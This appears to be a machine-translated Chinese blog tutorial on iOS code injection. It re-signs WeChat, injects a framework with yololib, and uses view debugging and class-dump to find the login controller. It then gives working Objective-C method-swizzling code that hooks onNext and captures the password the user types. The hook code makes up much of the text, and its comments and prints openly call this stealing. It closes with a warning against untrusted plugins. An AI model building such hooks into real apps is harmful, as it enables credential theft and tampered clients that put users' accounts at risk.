preface

The previous article described the principle of Apple’s double signature mechanism, and based on this principle, we learned a method to modify the Bundle ID of other people’s. Ipa package and run it in our mobile phone —— re-signature. What’s the point of re-signing? In order to enable us to install the App logic and debug it normally after we modify it, this article is about how to modify the original code logic of the App. Note that this article requires some basic runtime knowledge.

Code injection

Code injection is mainly through framework injection, this time we use the framework injection way to explain. You can also use the Static Library for code injection, though the process is a bit more complicated.

Code injection is carried out on the basis of re-signature, so the App should be re-signed according to the previous article. It is recommended to use script re-signature, which is easy to use and not easy to make mistakes.

The new framework

Type Targets– > + –>framework to create a framework and name it whatever you want. I have already created it here and name it HYHook. Framework.

Let’s just compile it

After creating the framework, compile the Frameworks directly and then look at the Products > code injection. App >Frameworks folder to see if the framework we created has been added to Frameworks folder. Isn’t that amazing? This is one of the reasons why we use the Framework for code injection.

How do I get the App to load the framework we added?

When the App is running, it can execute code in the following three places:

  1. System libraries. Non-jailbroken phones cannot be modified.
  2. MachO binaries. It can be modified, but we need to use binary to modify, higher requirements.
  3. The framework library.

We just added the framework to the Frameworks folder, but note that this does not mean the framework is ready to use. Use MachOView to view the MachO file of the App as follows. Since the MachO binary is arranged in a regular way, here we can use MachOView to decipher the MachO binary and display it on the interface.

Load Commands

That is, we just created a new framework and added it to the Frameworks folder, but the framework will not be loaded into memory when executing the MachO file, so it will not be called. At this point we need another tool, yololib, which is a command line tool that modifs the MachO file by adding the following script at the end of the re-signing script, loading our framework at execution time. HYHook is the name of the framework I just created and needs to be changed to the framework you created yourself.

yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/HYHook.framework/HYHook"
Copy the code

Note: do not add the command if it is only re-signed, add it at code injection time, and make sure the framework name is the same as the framework you created.

Injecting code

So far we have added the framework we created to the Frameworks folder, and the MachO file now loads the framework into memory at execution time. So now we’re going to start making the framework do something. 1, create a class, whatever the name, I will call HYHookLogin, because later use this class to get wechat login password. Load (); load ();

+ (void)load {
    NSLog(@" This is a print-out from the injected code 😂😂😂😂");
}
Copy the code

3, Run the code, you can see that this sentence has been printed, indicating that our injected code executes.

Obtain the wechat login password

We already know how to get the App to execute the added framework code, but that’s beside the point. The real focus starts here.

Method Swizzling

I believe that many children have more or less known the black magic of iOS Method Swizzling before this, it doesn’t matter if you don’t know, now let’s talk about this black magic. I assumed before that you knew what SEL and IMP meant for methods. Say it again

  • SEL: Equivalent to a book directory, I can find IMP through this directory.
  • IMP: Equivalent to really find, to use things.

In short, SEL finds the address of the method’s implementation, and IMP is the address of the method’s implementation. Their relationship is one-to-one correspondence, steal a picture 😁

And our dark magic is not happy to see them one by one, hence the following 👌

Dynamic debugging

Dynamic debugging, which sounds like a fancy name, is actually LLDB debugging during App running. Here we still use wechat as learning software.

  1. At this time, Xcode will install the re-signed wechat into the phone and open it.
  2. Click Login to enter the login page, clickLog in with wechat /QQ id/emailAt this point, we will enter the account password input interface.
  3. Click Debug View Hierarchy on Xcode, don’t know which one? See below.
  4. At this point, we can see the hierarchical relationship and information of each control on the wechat login interface.
  5. Click the login button above (you can tilt the view slightly to make it easier to tap).
  6. Now we can see the Target and Action of the button.
[btn addTarget:self action:@selector(xxx) forControlEvents:UIControlEventTouchUpInside];
Copy the code

Can guess at this time, click the login button when the controller WCAccountMainLoginViewController object is called onNext method, but now how do we determine the onNext method is an object or a class method?

Static analysis

The above dynamic debugging made us guess that clicking the login button would call the onNext method, so this static analysis is to help verify our guess. There is also a tool called class-dump, which is also a command-line tool. To make these tools available anywhere, we can put their executable files in /usr/local/bin. Class-dump allows you to decompile MachO files in your App and export class attributes/member variables and method declarations for easy viewing.

// Use the following command to export the MachO Header of the WeChat file to the Header folder class-dump -h video-o HeaderCopy the code

Sublime Text is a lightweight editor with the same functionality as Xcode global search. You can use it to open the class-dump exported header folder and quickly search for what you need.

Is there any question: why not just use Xcode?

Like the wechat we used, there are more than 10,000 exported header files. I tried dragging these files into an Xcode project, and Xcode died, forcing the exit point three times before returning them. The great thing about Sublime Text is that it is lightweight, easy to load over 10,000 header files, and fast to search globally. (Specific use according to their own needs 😄)

Now let’s search globally for what we want!

  1. Use Sublime Text to open our exported Header folder as follows:
  2. command + shift + fOpen global search and type@interface WCAccountMainLoginViewControllerDo a search.
  3. Double-click on the file we found, jump to the specified file, and you’ll find that there are basically declarations of all the properties and methods in this class, including the onNext method we want to verify.

To get the password

From the dynamic debugging and static analysis above, we can almost determine that the onNext method is the one to be executed when clicking login. Now we should think about how to get the login password.

  1. In the View Debug View, click the password input box. You can see that the password input box is oneWCUITextFieldObject of type.
  2. And then we go to what we just foundWCAccountMainLoginViewController.hCheck the files. See if there’s anythingWCUITextFieldObject of type. Unfortunately, I can’t find it. I didn’t find it, but I think we got two suspects, okay? (This shows how important code obfuscation is.)
  3. We find a suspect, we follow the lead, dig deep, search the whole place@interface WCAccountTextFieldItemI found it, but I found nothing.
  4. Don’t lose heart. The guy inherited itWCBaseTextFieldItem? Keep following the trail. Look for everything@interface WCBaseTextFieldItem. Ha ha, what did you find? aWCUITextFieldType variable.
  5. We have found this very suspicious object, now we are 99% sure that this guy is the password entry field we are looking for, but don’t worry about writing the code to crack it and realizing it is actually the 1%, haha. So we need to do one more test to get to 100%.
  6. 100% verification. Turn off View Debug, enter your account password randomly in the input box, then open View Debug, and select the controller object as follows:
  7. Then debug using LLDB to verify our 99% guess. Through verification, exactly as we guessed, 100% positive.

Code implementation

We found the click event method for the login button – (void)onNext; The password input field object _textFieldUserPwdItem. Then the following is the time when we need to use the code to obtain the wechat login password.

  1. inHYHookLoginImport in the class#import <objc/runtime.h>And define methods- (void)new_onNext;rewriteHYHookLoginOf the class+ (void)load;Methods.
+ (void)load {
    
}

- (void)new_onNext {
    
}
Copy the code
  1. inloadUsing the dark magic mentioned above willWCAccountMainLoginViewControllerIn the classonNextMethods andHYHookLoginIn the classnew_onNextThe implementation of the. The code is as follows:
+ (void)load {
    // Get the Method object
    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
    Method new_onNext = class_getInstanceMethod(self.@selector(new_onNext));
    // Switch methods
    method_exchangeImplementations(onNext, new_onNext);
}

- (void)new_onNext {
    UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog("Stolen password is: %@", pwdTF.text);
    
    // In order not to change the original login logic, we need to call wechat's original onNext method
    // But since the new_onNext method implementation has been swapped with the onNext method implementation, the [self new_onNext] call is not recursive.
    [self new_onNext];
}
Copy the code
  1. Run with joy and crash. The reason is thatWCAccountMainLoginViewControllerClass does not existnew_onNextDeclaration of a method. SEL that can’t find this method.
  2. The final problem is to solve the crash. Without going into too much detail here, I will post three ways to solve the crash so that the reader can analyze the logic and the pros and cons of each method based on the code.
+ (void)load {
// // The first method
// // Obtain the Method object
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
/ / / / to WCAccountMainLoginViewController adding methods, in order to solve the [self new_onNext] calls the collapse of the problem
// class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
// // exchange method
// method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));


// // The second method
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
/ / / *
// Method replacement, parameter description
// 1, which class is the method to be replaced
// the method to be replaced is SEL in the class
// 3, the implementation of the replacement method
// select * from 'SEL'; // select * from 'SEL';
IMP IMP == void(*)(void), void(id, SEL
/ / * /
// old_onNext = (void(*)(id, SEL))class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");


    // The third method
    Method onNext = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    // Get the IMP of the old onNext method
    old_onNext = (void(*) (id, SEL))class_getMethodImplementation(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
    // Get the IMP of the new onNext method
    IMP new_onNext = class_getMethodImplementation(self.@selector(new_onNext));
    // change the IMP of onNext method to new_onNext
    method_setImplementation(onNext, new_onNext);

}

// The address used to receive the old onNext method explicitly declares old_onNext to be a function pointer variable, which is required for the 2nd and 3rd methods.
void (*old_onNext)(id self, SEL _cmd);

- (void)new_onNext {
    NSLog("Clicked the login button");
    UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog("Stolen password is: %@", pwdTF.text);
// // The first method
// [self new_onNext]; / / because WCAccountMainLoginViewController class don't have the method, direct call will find, to collapse

// // The second method
// old_onNext(self, _cmd);

    // The third method
    old_onNext(self, _cmd);
}
Copy the code

In fact, the principles of the three methods to solve the crash are very similar, depending on which method you prefer.

conclusion

This article describes how to conduct code injection through the framework, and on this basis step by step reverse analysis of wechat login password how to steal. The reason for using the word “steal” is that at the user level, wechat did not change the original login request, but added a little bit before the login to steal the password entered by the user.

Use red text prompt user: have no matter must not break out of the cell phone, use the plug-in that others develops, very likely the plug-in of others has this to obtain password function, request your password to upload to a certain server through the network next, ironic is this account password or you input to somebody else’s 😂😂😂

This paper addresses https://juejin.cn/post/6844904102657277966